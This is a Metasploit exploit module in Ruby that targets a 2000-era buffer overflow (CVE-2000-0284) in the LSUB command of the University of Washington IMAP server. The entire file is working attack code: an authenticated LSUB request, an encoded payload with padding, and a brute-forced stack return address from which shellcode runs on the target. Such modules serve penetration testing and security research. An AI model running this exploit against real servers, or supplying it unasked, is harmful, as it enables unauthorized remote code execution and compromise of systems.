##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Brute
  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UoW IMAP Server LSUB Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the 'LSUB'
        command of the University of Washington IMAP service.
        This vulnerability can only be exploited with a valid username
        and password.
      },
      'Author'         => [ 'aushack', 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2000-0284' ],
          [ 'OSVDB', '12037' ],
          [ 'BID', '1110' ],
          [ 'EDB', '284' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 964,
          'BadChars' => "\x00\x0a\x0d\x2f",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          # ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
          [ 'Linux Bruteforce',
            {
              'Platform'   => 'linux',
              'Offset'     => 1064,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xbffffdfc },
                  'Stop'  => { 'Ret' => 0xbfa00000 },
                  'Step'  => 200
                }
            },
          ]
        ],
      'DisclosureDate' => '2000-04-16',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if (banner =~ /IMAP4rev1 v12\.264/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe

  end

  def brute_exploit(addresses)
    print_status("Trying 0x%.8x ..." % addresses['Ret'])

    if (not connect_login)
      fail_with(Failure::Unknown, "Unable to log in!")
    end

    req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
    sock.put(req)
    buf = sock.get_once

    sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
    sock.put(sploit)

    handler
    disconnect
  end
end
